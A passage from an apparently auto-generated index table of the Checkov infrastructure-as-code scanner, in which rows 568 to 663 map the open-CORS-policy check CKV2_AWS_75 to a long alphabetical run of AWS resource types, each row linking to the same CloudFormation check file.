[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  568 | CKV2_AWS_75 | resource | aws_db_option_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  569 | CKV2_AWS_75 | resource | aws_db_parameter_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  570 | CKV2_AWS_75 | resource | aws_db_proxy                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  571 | CKV2_AWS_75 | resource | aws_db_proxy_default_target_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  572 | CKV2_AWS_75 | resource | aws_db_proxy_endpoint                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  573 | CKV2_AWS_75 | resource | aws_db_proxy_target                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  574 | CKV2_AWS_75 | resource | aws_db_security_group                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  575 | CKV2_AWS_75 | resource | aws_db_snapshot                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  576 | CKV2_AWS_75 | resource | aws_db_snapshot_copy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  577 | CKV2_AWS_75 | resource | aws_db_subnet_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  578 | CKV2_AWS_75 | resource | aws_default_network_acl                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  579 | CKV2_AWS_75 | resource | aws_default_route_table                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  580 | CKV2_AWS_75 | resource | aws_default_security_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  581 | CKV2_AWS_75 | resource | aws_default_subnet                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  582 | CKV2_AWS_75 | resource | aws_default_vpc                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  583 | CKV2_AWS_75 | resource | aws_default_vpc_dhcp_options                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  584 | CKV2_AWS_75 | resource | aws_detective_graph                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  585 | CKV2_AWS_75 | resource | aws_detective_invitation_accepter                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  586 | CKV2_AWS_75 | resource | aws_detective_member                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  587 | CKV2_AWS_75 | resource | aws_detective_organization_admin_account                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  588 | CKV2_AWS_75 | resource | aws_detective_organization_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  589 | CKV2_AWS_75 | resource | aws_devicefarm_device_pool                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  590 | CKV2_AWS_75 | resource | aws_devicefarm_instance_profile                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  591 | CKV2_AWS_75 | resource | aws_devicefarm_network_profile                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  592 | CKV2_AWS_75 | resource | aws_devicefarm_project                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  593 | CKV2_AWS_75 | resource | aws_devicefarm_test_grid_project                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  594 | CKV2_AWS_75 | resource | aws_devicefarm_upload                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  595 | CKV2_AWS_75 | resource | aws_devopsguru_event_sources_config                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  596 | CKV2_AWS_75 | resource | aws_devopsguru_notification_channel                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  597 | CKV2_AWS_75 | resource | aws_devopsguru_resource_collection                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  598 | CKV2_AWS_75 | resource | aws_devopsguru_service_integration                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  599 | CKV2_AWS_75 | resource | aws_directory_service_conditional_forwarder                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  600 | CKV2_AWS_75 | resource | aws_directory_service_directory                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  601 | CKV2_AWS_75 | resource | aws_directory_service_log_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  602 | CKV2_AWS_75 | resource | aws_directory_service_radius_settings                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  603 | CKV2_AWS_75 | resource | aws_directory_service_region                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  604 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  605 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory_accepter                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  606 | CKV2_AWS_75 | resource | aws_directory_service_trust                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  607 | CKV2_AWS_75 | resource | aws_dlm_lifecycle_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  608 | CKV2_AWS_75 | resource | aws_dms_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  609 | CKV2_AWS_75 | resource | aws_dms_endpoint                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  610 | CKV2_AWS_75 | resource | aws_dms_event_subscription                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  611 | CKV2_AWS_75 | resource | aws_dms_replication_config                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  612 | CKV2_AWS_75 | resource | aws_dms_replication_instance                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  613 | CKV2_AWS_75 | resource | aws_dms_replication_subnet_group                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  614 | CKV2_AWS_75 | resource | aws_dms_replication_task                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  615 | CKV2_AWS_75 | resource | aws_dms_s3_endpoint                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  616 | CKV2_AWS_75 | resource | aws_docdb_cluster                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  617 | CKV2_AWS_75 | resource | aws_docdb_cluster_instance                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  618 | CKV2_AWS_75 | resource | aws_docdb_cluster_parameter_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  619 | CKV2_AWS_75 | resource | aws_docdb_cluster_snapshot                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  620 | CKV2_AWS_75 | resource | aws_docdb_event_subscription                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  621 | CKV2_AWS_75 | resource | aws_docdb_global_cluster                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  622 | CKV2_AWS_75 | resource | aws_docdb_subnet_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  623 | CKV2_AWS_75 | resource | aws_docdbelastic_cluster                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  624 | CKV2_AWS_75 | resource | aws_drs_replication_configuration_template                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  625 | CKV2_AWS_75 | resource | aws_dx_bgp_peer                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  626 | CKV2_AWS_75 | resource | aws_dx_connection                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  627 | CKV2_AWS_75 | resource | aws_dx_connection_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  628 | CKV2_AWS_75 | resource | aws_dx_connection_confirmation                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  629 | CKV2_AWS_75 | resource | aws_dx_gateway                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  630 | CKV2_AWS_75 | resource | aws_dx_gateway_association                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  631 | CKV2_AWS_75 | resource | aws_dx_gateway_association_proposal                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  632 | CKV2_AWS_75 | resource | aws_dx_hosted_connection                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  633 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  634 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface_accepter                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  635 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  636 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface_accepter                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  637 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  638 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface_accepter                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  639 | CKV2_AWS_75 | resource | aws_dx_lag                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  640 | CKV2_AWS_75 | resource | aws_dx_macsec_key_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  641 | CKV2_AWS_75 | resource | aws_dx_private_virtual_interface                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  642 | CKV2_AWS_75 | resource | aws_dx_public_virtual_interface                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  643 | CKV2_AWS_75 | resource | aws_dx_transit_virtual_interface                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  644 | CKV2_AWS_75 | resource | aws_dynamodb_contributor_insights                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  645 | CKV2_AWS_75 | resource | aws_dynamodb_global_table                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  646 | CKV2_AWS_75 | resource | aws_dynamodb_kinesis_streaming_destination                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  647 | CKV2_AWS_75 | resource | aws_dynamodb_resource_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  648 | CKV2_AWS_75 | resource | aws_dynamodb_table                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  649 | CKV2_AWS_75 | resource | aws_dynamodb_table_export                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  650 | CKV2_AWS_75 | resource | aws_dynamodb_table_item                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  651 | CKV2_AWS_75 | resource | aws_dynamodb_table_replica                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  652 | CKV2_AWS_75 | resource | aws_dynamodb_tag                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  653 | CKV2_AWS_75 | resource | aws_ebs_default_kms_key                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  654 | CKV2_AWS_75 | resource | aws_ebs_encryption_by_default                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  655 | CKV2_AWS_75 | resource | aws_ebs_fast_snapshot_restore                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  656 | CKV2_AWS_75 | resource | aws_ebs_snapshot                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  657 | CKV2_AWS_75 | resource | aws_ebs_snapshot_block_public_access                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  658 | CKV2_AWS_75 | resource | aws_ebs_snapshot_copy                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  659 | CKV2_AWS_75 | resource | aws_ebs_snapshot_import                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  660 | CKV2_AWS_75 | resource | aws_ebs_volume                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  661 | CKV2_AWS_75 | resource | aws_ec2_availability_zone_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  662 | CKV2_AWS_75 | resource | aws_ec2_capacity_block_reservation                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  663 | CKV2_AWS_75 | resource | aws_ec2_capacity_reservation                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 